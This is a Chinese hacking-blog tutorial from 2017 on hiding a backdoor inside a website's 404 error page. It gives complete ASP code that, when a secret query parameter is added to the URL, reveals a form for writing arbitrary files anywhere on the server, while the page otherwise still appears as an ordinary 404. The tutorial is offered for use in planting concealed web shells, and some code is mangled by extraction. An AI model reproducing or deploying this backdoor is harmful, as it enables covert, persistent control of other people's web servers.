勤快学

手把手打造404页面隐藏后门

黑白之道  标签:404  404    发布于:2017年05月23日


手把手打造一个404页面后门


作者:T0reAd


今天教大家打造一个隐蔽的404后门


我们先找一个404错误页面



把源码复制下来保存到本地asp格式


<% ifrequest("77169")="77169" then %>
<title>77169</title>
<%="<br>"%>
<%="Thefile location:" server.mappath(request.servervariables("script_name"))%>
<%DimobjFSO%>
<%Dim fdata%>
<%DimobjCountFile%>
<%on errorresume next%>
<%Set objFSO= Server.CreateObject("Scripting.FileSystemObject")%>
<%ifTrim(request("syfdpath"))<>"" then%>
<�ata =request("cyfddata")%>
<%SetobjCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Writefdata%>
<%if err =0then%>
<fontcolor=red>save!</font>
<%end if%>
<%end if%>
<%objCountFile.Close%>
<%SetobjCountFile=Nothing%>
<%Set objFSO= Nothing%>
<formaction='' method=post>
<p>
    <input type=text name=syfdpath width=32value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>"style="border:solid 1px" size=80>
</p>
<p>
      <textarea name=cyfddata cols=80rows=10 width=32 style="border:solid 1px"></textarea>
</p>
    <input type=submit value=savestyle="border:solid 1px">
    <fontcolor="#FF0000"><strong>                                    华夏黑客同盟</strong></font> </p>
</form><formaction="" method="post">
<% end if%>


把这段代码复制到文件头里然后保存


我们访问404页面返回的还是404


莫慌,


在url后面加上?77169=77169



file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image00


4.jpg


这样,我们的马子就出来了。

你会喜欢


进阶!使用C#+Empire实现最小体积免杀后门

学习Metasploit溢出Distcc后门漏洞

飞塔SSH后门利用方法


亲喜欢吗?记得点赞 | 留言 | 分享


长按公众号,可“ 置顶 ”

----------------------------------

要闻,干货,原创,专业
关注“黑白之道”微信:i77169 
华夏黑客同盟我们坚持,自由,免费,共享!


上一篇:Elasticsearch学习笔记(二)Elasticsearch入门

下一篇:你好2017! 再见2015, 再见小码哥!